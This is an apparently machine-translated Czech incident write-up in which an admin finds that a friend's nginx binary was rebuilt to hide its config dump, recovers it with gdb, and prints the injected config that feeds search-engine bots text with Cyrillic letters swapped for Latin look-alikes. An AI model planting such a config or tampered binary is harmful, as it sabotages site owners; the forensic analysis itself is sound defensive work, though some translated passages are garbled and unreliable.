Když 'a' se nerovná 'a'. Po hacku

Velmi nepříjemný příběh se stal jednomu z mých přátel. Ale jakkoli to bylo pro Michaila nepříjemné, pro mě to bylo stejně zábavné.

Musím říct, že můj přítel docela UNIX-user: může si systém nainstalovat sám mysql, php a provést jednoduchá nastavení Nginx.
A má tucet nebo jeden a půl webových stránek věnovaných stavebnímu nářadí.

Jedna z těchto stránek věnovaná motorovým pilám se pevně drží v TOP vyhledávačích. Tento web je nekomerční recenzent, ale někdo si zvyknul na něj útočit. Že DDoS, pak hrubou silou, pak píšou obscénní komentáře a posílají narážky na hosting a do RKN.
Najednou se vše uklidnilo a ukázalo se, že tento klid není dobrý a web začal postupně opouštět horní řádky výsledků vyhledávání.

Když 'a' se nerovná 'a'. Po hacku

To bylo rčení, pak samotný adminův příběh.

Blížil se čas spánku, když zazvonil telefon: „San, nepodíváš se na můj server? Zdá se mi, že jsem byl hacknut, nemůžu to dokázat, ale ten pocit mě neopustil už třetí týden. Možná je jen čas, abych se začal léčit z paranoie?"

Následovala půlhodinová diskuse, kterou lze shrnout takto:

  • půda pro hackování byla docela úrodná;
  • útočník by mohl získat práva superuživatele;
  • útok (pokud k němu došlo) byl zaměřen konkrétně na toto místo;
  • problémové oblasti byly opraveny a stačí pochopit, zda došlo k nějakému průniku;
  • hack nemohl ovlivnit kód webu a databáze.

Ohledně posledního bodu.

Když 'a' se nerovná 'a'. Po hacku

Pouze bílá frontend IP vypadá do světa. Mezi backendy a frontendem kromě http(s) nedochází k žádné výměně, uživatelé/hesla se liší, nebyly vyměněny žádné klíče. Na šedých adresách jsou všechny porty kromě 80/443 uzavřeny. Bílé backendové IP znají pouze dva uživatelé, kterým Michail zcela důvěřuje.

Instalováno na frontendu Debian 9 a v okamžiku uskutečnění hovoru je systém izolován od světa externím firewallem a zastaven.

"Dobře, dej mi přístup," rozhodnu se na hodinu odložit spánek. "Uvidím na vlastní oči."

Zde a dále:

$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1

Hledá se možný hack

Spouštím server jako první záchranný režim. Namontuji disky a prolistuji je auth-protokoly, historie, systémové logy atd., pokud je to možné, kontroluji data vytvoření souboru, i když chápu, že normální práskač by po sobě „zametl“ a Míša už si hodně „prošlapal“, když se hledal .

Začínám v normálním režimu, ještě pořádně nechápu, co mám hledat, studuji konfigurace. V první řadě mě zajímá Nginx protože obecně na frontendu kromě něj není nic jiného.
Konfigurace jsou malé, dobře strukturované do tuctu souborů, jen je prohlížím kočka'oh jeden po druhém. Všechno se zdá být čisté, ale nikdy nevíte, jestli jsem něco nepřehlédl obsahovat, dovolte mi vytvořit úplný seznam:

$ nginx -T
nginx: the configuration file /usr/local/etc/nginx/nginx.conf syntax is ok
nginx: configuration file /usr/local/etc/nginx/nginx.conf test is successful

Nerozuměl jsem: "Kde je výpis?"

$ nginx -V
nginx version: nginx/1.10.3
TLS SNI support enabled
configure arguments: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module

K dotazu se seznamem je přidána druhá otázka: „Proč taková prastará verze nginx?“

Systém se navíc domnívá, že je nainstalována nejnovější verze:

$ dpkg -l nginx | grep "[n]ginx"
ii  nginx          1.14.2-2+deb10u1 all          small, powerful, scalable web/proxy server

Volám:
- Míšo, proč jsi se dal dohromady? Nginx?
-Počkej, já ani nevím, jak to udělat!
- Dobře, jdi spát...

Nginx je jasně přestavěn a výstup výpisu pomocí „-T“ je z nějakého důvodu skrytý. O hackování již nejsou žádné pochybnosti a můžete to jednoduše přijmout a (protože Misha stejně vyměnil server za nový) považovat problém za vyřešený.

A skutečně, protože někdo získal práva kořen„Aha, pak to má smysl dělat přeinstalovat systém, a bylo zbytečné hledat, co je tam špatně, ale tentokrát zvědavost porazila spánek. Jak můžeme zjistit, co před námi chtěli skrýt?

Zkusme vysledovat:

$ strace nginx -T

Díváme se na to, ve stopě je zjevně málo čar a la

write(1, "/etc/nginx/nginx.conf", 21/etc/nginx/nginx.conf)   = 21
write(1, "...
write(1, "n", 1

Jen pro zajímavost, pojďme si výsledky porovnat.

$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264

Myslím, že část kódu /src/core/nginx.c

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 1;
                break;

byl převeden do podoby:

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                //ngx_dump_config = 1;
                break;

nebo

            case 't':
                ngx_test_config = 1;
                break;

            case 'T':
                ngx_test_config = 1;
                ngx_dump_config = 0;
                break;

proto se výpis podle "-T" nezobrazí.

Ale jak si můžeme prohlédnout naši konfiguraci?

Pokud je moje myšlenka správná a problém je pouze v proměnné ngx_dump_config zkusme to nainstalovat pomocí gdb, naštěstí existuje klíč --with-cc-opt -g a doufám, že optimalizace -O2 nám to neublíží. Zároveň, protože nevím jak ngx_dump_config mohly být zpracovány v případ 'T':, nebudeme tento blok nazývat, ale nainstalujeme jej pomocí případ 't':

Proč můžete použít '-t' stejně jako '-T'Blokové zpracování if(ngx_dump_config) se děje uvnitř if(ngx_test_config):

    if (ngx_test_config) {
        if (!ngx_quiet_mode) {
            ngx_log_stderr(0, "configuration file %s test is successful",
                           cycle->conf_file.data);
        }

        if (ngx_dump_config) {
            cd = cycle->config_dump.elts;

            for (i = 0; i < cycle->config_dump.nelts; i++) {

                ngx_write_stdout("# configuration file ");
                (void) ngx_write_fd(ngx_stdout, cd[i].name.data,
                                    cd[i].name.len);
                ngx_write_stdout(":" NGX_LINEFEED);

                b = cd[i].buffer;

                (void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
                ngx_write_stdout(NGX_LINEFEED);
            }
        }

        return 0;
    }

Samozřejmě, pokud se kód změní v této části a ne v případ 'T':, pak moje metoda nebude fungovat.

Test nginx.confPo experimentálním vyřešení problému bylo zjištěno, že pro fungování malwaru je vyžadována minimální konfigurace Nginx typ:

events {
}

http {
	include /etc/nginx/sites-enabled/*;
}

Použijeme to pro stručnost v článku.

Spusťte ladicí program

$ gdb --silent --args nginx -t
Reading symbols from nginx...done.
(gdb) break main
Breakpoint 1 at 0x1f390: file src/core/nginx.c, line 188.
(gdb) run
Starting program: nginx -t
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=2, argv=0x7fffffffebc8) at src/core/nginx.c:188
188     src/core/nginx.c: No such file or directory.
(gdb) print ngx_dump_config=1
$1 = 1
(gdb) continue
Continuing.
nginx: the configuration file /etc/nginx/nginx.conf syntax is ok
nginx: configuration file /etc/nginx/nginx.conf test is successful
# configuration file /etc/nginx/nginx.conf:
events {
}

http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

        include /etc/nginx/sites-enabled/*;
}
# configuration file /etc/nginx/sites-enabled/default:

[Inferior 1 (process 32581) exited normally]
(gdb) quit

Krok za krokem:

  • nastavit zarážku ve funkci hlavní ()
  • spusťte program
  • změňte hodnotu proměnné, která určuje výstup config ngx_dump_config=1
  • pokračovat/ukončit program

Jak vidíme, skutečná konfigurace se od té naší liší, vybereme z ní parazitní kus:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

Pojďme se popořadě podívat na to, co se zde děje.

Odhodlaný User-Agentyandex/google:

map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}

Stránky služby jsou vyloučeny wordpress:

map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}

A pro ty, kteří spadají pod obě výše uvedené podmínky

map о:$sign_user_agent:$sign_uri $sign_o
{
о:1:0 o;
default о;
}

map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}

v textu html- mění se stránky 'Ó' na 'Ó' и 'A' na 'A':

sub_filter_once off;
sub_filter 'о' $sign_o;
sub_filter 'а' $sign_a;

To je pravda, jediná jemnost je v tom 'a' != 'a' stejně jako 'o' != 'o':

Když 'a' se nerovná 'a'. Po hacku

Proto roboti vyhledávačů dostávají místo normálního 100% textu v azbuce upravený odpad naředěný latinkou 'A' и 'Ó'. Netroufám si diskutovat o tom, jak to ovlivňuje SEO, ale je nepravděpodobné, že taková změť písmen bude mít pozitivní dopad na pozice ve výsledcích vyhledávání.

Co na to říct, kluci s fantazií.

reference

Ladění pomocí GDB
gdb(1) — Linuxová manuálová stránka
strace(1) — Linuxová manuálová stránka
Nginx - Modul ngx_http_sub_module
O pilách, motorových pilách a elektrických pilách

Zdroj: www.habr.com

Přidat komentář